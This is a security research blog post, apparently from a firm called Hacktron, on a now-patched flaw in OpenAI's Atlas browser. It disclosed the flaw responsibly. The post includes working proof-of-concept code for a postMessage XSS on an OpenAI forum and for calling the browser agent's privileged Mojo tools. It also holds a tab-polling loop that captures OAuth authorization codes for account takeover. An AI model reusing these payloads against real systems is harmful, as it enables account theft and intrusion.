Hacktron

Intro

After finding a Universal XSS vulnerability in Perplexity’s Comet browser, we looked at another AI browser: OpenAI’s ChatGPT Atlas.

Like Comet, Atlas is built on Chromium and ships with an integrated browser agent. We found an interesting bug in it that let us control tabs, watch live browser activity, and capture OAuth tokens for any site, effectively breaking the same-origin policy.

With those OAuth tokens, taking over accounts on platforms like Facebook, Reddit, or GitHub becomes trivial. The PoC when visited by a victim listens to every navigation URL in real time and logs them; by kicking off a GitHub OAuth dance, it can read the GitHub authorization code and then use it to access the victim’s repositories:

Watch atlas OAuth token theft on YouTube

How AI browser agents are built

We quickly noticed that Atlas uses Mojo IPC, which narrowed the entry point for the attack down to an XSS on *.chatgpt.com:

s1r1us

lol gpt has browser now

time to pwn?

s1r1us

oh it uses mojom ipc

DevTools console showing the Mojo pipe object $e: interfaceType class Re, pipe with rawHandle MojoHandle, and endpointState
s1r1us

lmao find xss on *.chatgpt.com thats an uxss

AI agent browsers share a pattern: a privileged origin can control the browser through an agent interface. In Perplexity’s Comet browser, this was done through a browser extension that let *.perplexity.com origins interact with the extension and invoke arbitrary actions and tools the agent can use.

Atlas uses Mojo IPC instead of an extension. Mojo is Chromium’s inter-process communication mechanism, and Atlas lets privileged pages (*.openai.com) use it to talk to the Chromium browser process and perform actions like opening tabs, navigating to URLs, and more.

OpenAI’s diagram of the Atlas architecture:

Atlas appOwl appIPCChromium-owned processes Atlas appOwl appIPCChromium-owned processes

Typically, only Chrome internal pages like chrome://downloads or chrome://settings have access to Mojo bindings. They use them to call browser APIs that regular web pages cannot, such as changing system settings or accessing downloaded files on the filesystem.

You can verify this yourself:

  1. Navigate to chatgpt.com in Atlas (or chrome://downloads in Google Chrome)

  2. Open DevTools console

  3. Type Mojo, and you’ll see the object is defined

  4. Now navigate to any other site like evil.com

  5. Type Mojo again, and it returns undefined

Atlas gives every *.chatgpt.com and *.openai.com origin access to Mojo message pipes and bindings.

An overly permissive allowlist

Mojo isn’t normally exposed to web pages for good reason. Exposing it across such a wide domain surface means that finding a single XSS on any of the OpenAI domains lets us call these privileged interfaces.

So we started looking for the XSS.

The hunt for XSS

Similar to our last research, we downloaded several OpenAI subdomains’ source code and fired up Hacktron CLI to find some low-hanging fruit:

Terminal window
hacktron --agent domxss

While that was running, we started manually reviewing each domain. Although the scope was large, it still took a while to find an XSS bug in the allowlisted domains. Hacktron CLI didn’t find anything quick, and the surface-level JavaScript in login pages didn’t have anything interesting. So we started digging deeper into the JavaScript inside the applications.

postMessage XSS on forums.openai.com

After a few days of painful digging, we noticed an interesting JavaScript pattern in forums.openai.com:

sudi

I think i found postnessage sink

s1r1us

👀

sudi

Successssssssssssssss

s1r1us

bruhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh????:??????????????

😭

The message listener:

h.useEffect(() => {
let e = e => {
let {data: t} = e;
if ("pushUrl" === t.action) {
let {url: e} = t;
l(e)
}
if ("resetUnreadMessageCount" === t.action || "updateReadPosition" === t.action) {
let {roomId: e} = t;
n(e) && r({
roomId: e
})
}
};
return window.addEventListener("message", e),
() => {
window.removeEventListener("message", e)
}
}

For the pushUrl action, the url key value was directly used in a sink without any sanitization. This allowed an easy XSS which could be triggered with a simple PoC:

x = window.open('https://forum.openai.com/chat')
x.postMessage(
{ action: 'pushUrl', url: 'javascript://google.com%0Aalert()' },
'*',
)

This postMessage listener was only activated on authenticated pages. Overcoming this was simple since the site had a login CSRF vulnerability. The token had a short expiration time, so some automation was needed to prepare a fresh login CSRF link, and we were all set.

The login CSRF proof of concept is on GitHub.

With the XSS in hand, we looked through the Mojo listeners in the browser process for a way to escalate to UXSS or RCE.

Enumerating Mojo IPC calls

There are two ways to enumerate Mojo calls: reverse engineering the binary to understand how things are exposed (hard and time-consuming), or using the Atlas browser normally, instructing the agent to open a URL, then hooking into the relevant JavaScript code that triggers the action.

We came up with an intercepting proxy script that hooks all Mojo calls. The script is quite extensive, but you can get the essence of it by looking at the end, which logs all callable methods:

The full proxy script is on GitHub.

The proxy script base was derived from this JS file. You can find the same by navigating to chatgpt.com and searching for Proxy.createToBrowser:

DevTools search for Proxy.createToBrowser in a chatgpt.com bundle

DevTools search for Proxy.createToBrowser in a chatgpt.com bundle

Available tools

When executed in the context of a page with access to the Mojo object, the script outputs a list of available tools. kaur1br5 is the codename for the tool that controls the browser:

Tool Description
kaur1br5.open_tabs Open any URL in new tabs
kaur1br5.navigate_current_tab Navigate active tab to any URL
kaur1br5.close_tabs Close tabs by ID
kaur1br5.focus_tab Focus/switch tabs
kaur1br5.list_tabs Enumerate all open tabs
kaur1br5.search_browsing_history Access browsing history
kaur1br5.add_bookmark Modify bookmarks
kaur1br5.set_preference Modify browser preferences
kaur1br5.reorder_tabs Manipulate tab order
kaur1br5.set_tab_pinned_state Pin/unpin tabs

Understanding the Mojo interface

We can call any of these tools from our XSS. Calling mojomStart populates the host object:

window.mojomStart = async function () {
if (typeof Wt !== 'function' || typeof Lt !== 'function') {
console.error('Host functions not loaded. Load other_ready.js first.')
return null
}
let host = Wt()
if (!host) {
await Lt()
host = Wt()
}
return host || null
}

The xe class is a wrapper that points to a Proxy class for LinkHandler:

class xe {}
a(xe, "interfaceName", "web.bridge.LinkHandler"),
a(xe, "interfaceVersion", 0);
// Inside the Proxy class:
static createToBrowser() {
const [r, N] = this.create();
return Mojo.bindInterface(t.interfaceName, N.pipe.rawHandle), r
}
handleLink(r, N) {
const c = { url: r, target: N };
this._endpoint.send(z.encode(0, F.None, e, c))
}

Using handleLink, we can execute JavaScript URIs. Since the call is made from the Host side, it has elevated privileges and can even open internal pages like atlas://downloads:

host = await mojomStart()
const [e, n] = Re.Proxy.create()
this.host.bindReceiver(n)
e.callLocalTool(
'kaur1br5.open_tabs',
JSON.stringify({ urls: ['https://example.com'] }),
)

Accessing LocalToolHandler

To access different web.bridge.* interfaces, you need to tweak the caller. For example, to call web.bridge.LocalToolHandler and access the kaur1br5.* tools:

host = await mojomStart()
const [e, n] = Re.Proxy.create()
this.host.bindReceiver(n)
e.callLocalTool(
'kaur1br5.open_tabs',
JSON.stringify({ urls: ['https://example.com'] }),
)

The Re class implementation provides access to callLocalTool and other methods, which we can use to access the kaur1br5.* tools:

class Re {}
a(Re, "interfaceName", "web.bridge.LocalToolHandler"),
a(Re, "interfaceVersion", 0);
// Inside the Proxy class:
async callLocalTool(u, f) {
const d = { toolname: u, args: f };
return (await this._endpoint.sendAndAwaitResponse(
z.encode(0, F.None, e, d)
)).decode(n).response
}
async getToolNames() {
const u = {};
return (await this._endpoint.sendAndAwaitResponse(
z.encode(1, F.None, s, u)
)).decode(i).toolnames
}

Demonstrating impact with OAuth token theft

With tool access established, we needed to demonstrate severe impact, something like UXSS or RCE.

Failed attempts

Several ideas didn’t work:

We tried bookmark injection. Adding a bookmark with a javascript: URI through kaur1br5.add_bookmark could theoretically work as UXSS if we could navigate to a page and click the bookmark. But we couldn’t click bookmarks programmatically through the agent, so we discarded this approach. Interestingly, we also weren’t able to add javascript: bookmarks.

We also tried a race condition: opening google.com and then navigating the same tab to javascript:alert(origin) might lead to UXSS, as we found in an internal audit of a certain browser. Passing javascript: URIs to kaur1br5.open_tabs and kaur1br5.navigate_current_tab, hoping they’d execute in the current page’s context, also failed.

Last, I spun up Ghidra and started reviewing each Mojo handler, looking for memory corruption issues or any interesting functionality. One handler caught my attention: handleLink uses NSWorkspace.sharedWorkspace.openURL to open external URLs. That could lead to RCE via something like e.handleLink('/System/Applications/Calculator.app/Contents/MacOS/Calculator'). Unfortunately, there’s a check that treats file:// URLs as internal and opens them as tab URLs instead of passing them to the system. If it had treated them as external, we’d be popping calc.

After some more tries, we decided to go the easy way by showing impact with what we have.

The OAuth attack vector

The kaur1br5.list_tabs is an interesting tool. It provides URLs of all tabs open across the Atlas browser in real time. You can continuously call this tool and eavesdrop every single URL that is being opened.

We can leak any browser-navigated URL. That gives us an account-takeover vector for apps that use OAuth or social logins, which is most apps. I won’t claim it’s exactly as bad as UXSS, but somewhere in that territory. I haven’t dug into taking over a ChatGPT account (that OAuth flow is a bit complicated), but the PoC we showed in the intro leaks the GitHub authorization code attached to ChatGPT, and the same pattern applies to other connectors.

We just need to run the following JavaScript in our XSS page with Mojo:

let running = true
async function loopTabs() {
const start = Date.now()
while (running) {
const x = await listTabs()
console.info(x[0]?.message ?? 'no message')
if (Date.now() - start > 20000) {
running = false
console.info('Stopped after 20 seconds')
break
}
await new Promise((r) => setTimeout(r, 10))
}
}
loopTabs()
openURL(
'https://github.com/login/oauth/authorize?response_type=code&client_id=Iv23liVemv8A9if9v0F2&redirect_uri=https%3A%2F%2Fchatgpt.com%2Fconnector_platform_oauth_redirect&state=oauth_s_68fa41e1b5f081918374314614ad44c2',
)

This isn’t limited to ChatGPT GitHub Connectors. The same technique works against other OAuth providers such as Reddit and Facebook. For prior art, check out Youssef Sammouda’s Facebook account takeover chain that got him a $44,625 bounty and Frans Rosén’s writeup on “dirty dancing” OAuth flows.

Unlike those chains, this one doesn’t need a URL leakage gadget or an open redirect, because Atlas hands us the URLs directly through the listTabs tool, so the browser itself is the gadget.

We filed the report once we had demonstrable impact, but continued working on further escalation. Our goal was something similar to the Comet hack, launching the agent and instructing it to leak victim emails to an attacker-controlled server, but this didn’t work out. Atlas has a pretty weird agent architecture compared to other browsers, with some interesting attack surface for anyone curious.

Disclosure timeline

  1. Vulnerability submitted to OpenAI via Bugcrowd

  2. Acknowledged by OpenAI security team

  3. Fix deployed in Atlas version 1.2025.288.15

  4. Bounty awarded ($5,000)

  5. Vulnerability marked as resolved

Conclusion

This is the second AI browser we’ve looked at, and both had overly permissive allowlists exposing powerful APIs. We’re confident there are others with similar issues. Browser security is hard, and even teams with deep expertise struggle with it. Unless you’re dealing with a team as heavily invested in security as Google, OpenAI, or Perplexity, think twice before installing that shiny new AI browser.

About us

Our team includes top-ranked CTF competitors, DEF CON-published researchers, and bug bounty hunters. We’ve hacked browsers, operating systems, mobile apps, desktop software, and large web platforms. Hacktron turns that work into AI agents for offensive security.

If you’re looking to secure your agentic applications, we can help. We’ve hacked Cluely, Cursor, Windsurf, Perplexity Comet, OpenAI Atlas, and many more. We work closely with teams to secure agentic systems.

Meet our team, email hello@hacktron.ai, or contact us.